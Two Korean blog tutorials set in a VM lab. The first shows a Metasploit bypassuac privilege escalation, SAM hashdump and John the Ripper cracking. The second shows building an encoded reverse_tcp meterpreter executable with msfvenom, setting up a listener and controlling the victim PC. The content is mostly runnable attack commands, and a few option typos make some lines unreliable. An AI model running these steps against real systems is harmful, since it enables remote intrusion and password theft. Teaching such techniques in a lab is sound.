해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.

해당 게시글을 보기 전에 필수적으로 Metasploit - Reverse TCP를 이용한 세션 연결이 필요합니다.


실습 환경은 다음과 같습니다.

 구분

내용

 공격자 PC 환경

Kali Linux 2017 amd 64

 피해자 PC 환경

 Windows 7 Pro 32Bit

 가상 환경

 VMware Player(or Workstation)


01. Metasploit BypassUAC Exploit 실습

해당 실습은 Metasploit - Reverse TCP Exploit과 연결되어 진행되는 실습이기 때문에 위의 실습과정 이후 실습을 진행하기 바랍니다.

먼저 exploit을 이미 진행하였다는 가정 하에 meterpreter > 가 띄워져 있다고 가정을 하고 진행하도록 하겠습니다.

다음 명령어를 사용하여 system의 권한을 가져와 권한상승을 시도해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getsystem 


getsystem 명령어를 사용해본 결과 실패했다는 문구가 뜨고 변화가 없는 모습을 보여줍니다.

이는 적절한 사전 준비가 되지 않았음을 의미합니다.

여기서 우리는 bypassuac라는 exploit 기법을 이용하여 세션의 힘을 더해줄 필요가 있습니다.




02. Exploit 활용 - bypassuac를 이용한 권한 상승

먼저 다음 명령어를 통해 세션을 background로 보내도록 합니다.

명령어는 다음과 같습니다.

meterpreter > background 



기존의 세션을 백그라운드로 보내면 다시 권한상승을 위한 모듈을 로드해야 합니다.

여기서 필요한 건, bypassuac 모듈과 백그라운드로 보낸 세션의 번호입니다.

사용할 명령어는 다음과 같습니다.

msf exploit(handler) > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set SESSION 1


우리가 연결했던 세션의 번호가 1이라면, bypassuac에서도 동일하게 해당 세션을 통해 연결을 수행할 계획입니다.

즉, 이미 연결된 세션을 통해 bypassuac의 exploit이 수행된다는 의미입니다.


해당 명령어를 사용하여 bypassuac로 변경한 후, 우리가 사용하고 있었던 sessions 1을 bypassuaac에 설정해줍니다.

그러면 이제 bypassuac도 우리가 연결해두었던 세션을 통해 새로운 기능을 사용할 수 있게 됩니다.

이제 exploit을 진행해보도록 합시다.

명령어는 단순하게 다음과 같습니다.

msf exploit(handler) > exploit 



해당 명령어를 실행하면 새로운 세션이 Default Port를 통해 생성됩니다.

session ID는 2로 생성될 것입니다.

이제 새롭게 생성된 session에서 getsystem을 사용해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getsystem



해당 명령어를 실행하면 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).이라는 문구와 함께 시스템의 권한이 상승되었음을 알려줍니다.

해당 시스템에서 우리의 권한이 어느정도 되는지 확인해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getuid

meterpreter > getsid



해당 명령어를 사용하여 권한을 확인해보면 NT AUTHORITY\SYSTEM이 보이면서 S-1-5-18임을 확인 할 수 있습니다.

이는 SYSTEM 권한임을 알려주며, Windows 7에서는 Trusted Installer 다음으로 가장 높은 권한입니다.

즉, Administrator 권한보다 높은 권한으로 많은 기능을 제약없이 사용할 수 있게 되었다는 의미입니다.




03. Exploit 활용 - SAM 내부에 있는 Hashdump 추출

SAM 파일은 타겟 윈도우 시스템의 사용자의 계정명과 패스워드 해시를 저장하는 파일입니다.

원래는 Administrator 권한이더라도 해당 SAM 파일에 대한 읽기 권한, 쓰기 권한이 존재하지 않습니다.

하지만 해당 파일에는 우리가 원하는 계정명과 Hash 등의 정보가 있기 때문에 이 파일에 접근해야 하니다.

단, 이는 반드시 권한상승이 되어 있는 상태에서 가능한 실습입니다.

때문에 위의 실습을 모두 마치고 진행해야 합니다.


다음 명령어를 통해 SAM 파일에 있는 Hashdump를 사용하여 해당 정보를 가져오도록 합시다.

meterpreter > run post/windows/gather/hashdump 



해당 명령어를 사용하면 각 계정별 Hash 값 및 계정 정보를 얻을 수 있습니다. 이제 해당 값을 복사하여 크랙을 시작하도록 합시다.


04. Exploit - john the ripper를 이용한 크랙

이제 우리가 사용할 프로그램은 john the ripper라는 프로그램으로 Hashdump 파일을 크랙하기 위해 필요한 프로그램입니다.

위의 두 파일은 우리가 크랙하기 위한 Windows Hashdump 파일과 사전공격(Dictionary Attack)을 위한 사전 파일입니다.

Hashdump 파일을 살펴보면 세 개의 계정에 대한 정보가 나타나 있는 것을 볼 수 있습니다.


다음 명령을 통해 Hashdump파일을 크랙하도록 합시다.

 파일

설명

 HashFile.txt

 해쉬 덤프를 저장한 파일

 PW.txt

 패스워드 사전 공격에 필요한 데이터를 저장한 파일


명령어는 다음과 같습니다.

~# john /root/Desktop/HashFile.txt -format=NT -wordlist=/root/Desktop/PW.txt  



PW.txt에는 해당 해쉬값의 정답이 들어있기 때문에 0초밖에 걸리지 않았다고 하지만, 실제로는 매우 오래 걸리는 작업입니다.


여기까지 실습을 마치도록 하겠습니다.


'LINUX > Kali Linux' 카테고리의 다른 글

Metasploit - Reverse TCP를 이용한 PC원격 조종  (2) 2017.07.16

해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.


실습 환경은 다음과 같습니다.

 구분

내용

 공격자 PC 환경

Kali Linux 2017 amd 64

 피해자 PC 환경

 Windows 7 Pro 32Bit

 가상 환경

 VMware Player(or Workstation)


01. Metasploit 익스플로잇 파일 생성


Metasploit 익스플로잇 파일 생성 명령어는 다음과 같습니다.

~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5 -b '\x00' LHOST=[공격자 IP] LPORT=[우리가 원하는 포트] -f exe > [파일이름]


metasploit은 변경사항 때문에 명령어가 많이 달라졌습니다.

달라진 명령어는 msfvenom으로 되어있습니다.

명령어가 잘 안 보일 수 있기 때문에 아래에 추가적인 설명과 함께 Text로 작성해보았습니다.


msfvenom에서 x86/shikata_ga_nai를 사용하는 이유는 아래의 그림과 같아서 그렇습니다.

아래의 그림을 보면 Name, Rank, Description으로 구분되어 있는데, 해당 그림에서 Rank를 살펴보면 good, manual, low, normal, excellent 등으로 구분되어 있습니다.

우리는 이 중에서 excellent로 되어있는 encoder를 사용하도록 해야 합니다.

metasploit에서 인코더에 대한 정보를 검색하기 위한 명령어는 다음과 같습니다.

~# msfvenom -l encolders



msfvenom 명령어에 대한 각각의 설명은 아래와 같습니다.

명령어(옵션)

내용

 -p windows/meterpreter/reverse_tcp

reverse_tcp로 된 meterpreter를 payload에 사용함

 -e x86/shikata_ga_nai

인코더는 x86/shikata_ga_nai를 사용함

 -i 5 -b '\00'

쓸 데 없는 char를 지우기 위함임

 LPORT=[우리가 원하는 포트]

Default 포트(meterpreter에서 사용되는 포트)의 숫자는 4444이다.




02. Metasploit Reverse TCP Exploit 실습

msfvenom 명령어를 통해 파일을 생성하며, 그 파일을 통해 Reverse TCP Exploit 실습을 진행하도록 합니다.

생성된 파일을 피해자 PC인 Windows 7 시스템에 옮기도록 합니다.

여기서 옮긴 파일의 이름은 Intel_HackerFile.exe 파일입니다.

만약 공격자의 프로그램이 피해자 시스템에서 실행될 때 두 가지 상태를 관찰할 수 있습니다.

첫 번째로, 공격자 PC에서 아무런 조치 없이 실행을 시키게 되면 아무런 일이 일어나지 않은 채 5초 후 꺼지게 됩니다.

두 번째로, 공격자 PC에서 연결 상태를 관찰하는 설정이 되어있으면, 실행시 바로 공격자와 연결됩니다.

때문에 먼저 Exploit 파일을 실행하기 앞서 공격자 PC에서 적절한 설정이 필요합니다.




03. Exploit 설정 - reverse_tcp

먼저 공격자 PC에서 msfconsole이라는 명령을 통해 metasploit 콘솔 창을 열도록 합니다.

msfconsole을 열기 위한 명령어는 다음과 같습니다.

~# msfconsole


아래의 그림은 msfconsole을 입력하고 콘솔 창을 띄운 그림입니다.

해당 창을 띄웠을 때 그림은 조금 다를 수 있으니 당황하지 않도록 합시다.

이제 msf> 라는 커맨드 창이 있을 것입니다.

해당 커맨드 창에서 각종 명령어를 입력합니다.

아래의 그림은 reverse_tcp 익스플로잇 설정을 말합니다.

reverse_tcp를 사용하기 위해서는 다음과 같은 명령어를 입력해주어야 합니다.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST [피해자 IP]

msf exploit(handler) > set LPORT [프로그램에 작성했던 포트 번호]

msf exploit(handler) > set ExitOnSession false


우리가 백도어로써 사용하는 방법이 reverse_tcp 기법을 이용한 exploit힙니다.

여기까지 설정하고, exploit을 시작하는 명령을 실행하면 공격자는 피해자와 연결하기 위한 준비를 모두 마치게 됩니다.

즉, 공격자는 피해자가 프로그램을 실행하도록 기다리는 상태라고 할 수 있습니다.




04. Exploit 실행 - reverse_tcp

아래의 그림은 reverse_tcp 익스플로잇 실행 후 상태를 보여주는 그림입니다.

exploit 명령어는 다음과 같습니다.

msf exploit(handler) > exploit -j -z 


위의 그림 상태는 우리가 Windows 7 시스템에 심어두었던 파일이 실행되기를 기다리고 있는 상태입니다.

이제 프로그램을 실행시켜보도록 합시다.

프로그램을 실행시키면 위의 그림과 같이 session이 연결되었다는 문구가 나옵니다.

해당 문구를 그림으로 설명해보자면 아래와 같습니다.

공격자의 IP는 192.168.37.131입니다.

피해자의 IP는 192.168.37.132입니다.

여기서 공격자가 피해자 시스템에 넣어둔 프로그램을 통해 Reverse TCP Session이 생성되었습니다.


여기까지 성공했다면, 내부적으로 공격자의 PC와 피해자의 PC가 연결되어 있는 상태입니다.

이때 연결되어 있는 Reverse TCP Session을 살펴보는 명령어를 이용하여 살펴보면 다음과 같습니다.

연결상태를 확인하는 명령어와 연결을 사용하기 위한 명령어는 다음과 같습니다.

msf exploit(handler) > show sessions

msf exploit(handler) > sessions -i 1


세션을 살펴보는 명령어는 show sessions라는 명령어로, 지금 공격자의 PC와 연결된 세션들을 모두 나열해줍니다.

sessions -i 1은 1번 ID를 가지고 있는 세션을 연결(실행)하는 명령어입니다.


마지막으로 meterpreter > 가 띄워지면 성곡적으로 피해자 PC에 접근이 된 상태라고 할 수 있습니다.


05. Exploit 활용 - reverse_tcp

이제 바탕화면에 디렉토리를 생성해보고, 생성이 되었는지 확인해보도록 합니다.

아래의 명령어 세 가지를 통해 디렉토리가 잘 생성되었는지 확인해봅시다.

meterpreter > pwd

meterpreter > mkdir [폴더 이름]

meterpreter > ls -l



이제 우리가 가지고 있는 파일을 해당 디렉토리에 업로드해보도록 합시다.

업로드하는 명령어는 다음과 같습니다.

meterpreter > cd [생성한 폴더 이름]

meterpreter > upload [절대경로 및 파일이름]

meterpreter > ls -l



업로드 한 파일의 이름은 You_are_Hacked.PNG 파일이고 해당 파일은 /root/Desktop/HackedMessage 디렉토리 내부에 있습니다.

현재 Terminal 창은 /root 디렉토리에서 켜졌습니다.

그리고 이후 msfconsole을 실행시킨 디렉토리 또한 /root입니다.

때문에 msfconsole이 가지고 있는 경로의 시작점은 /root이기 때문에 하위의 디렉토리는 모두 입력해줘야 합니다.


이제 우리는 해당 파일이 잘 업로드 되었는지 피해자 PC를 통해 확인해보도록 합시다.

파일이 잘 올라갔습니다.

미션 Success!!





+ Recent posts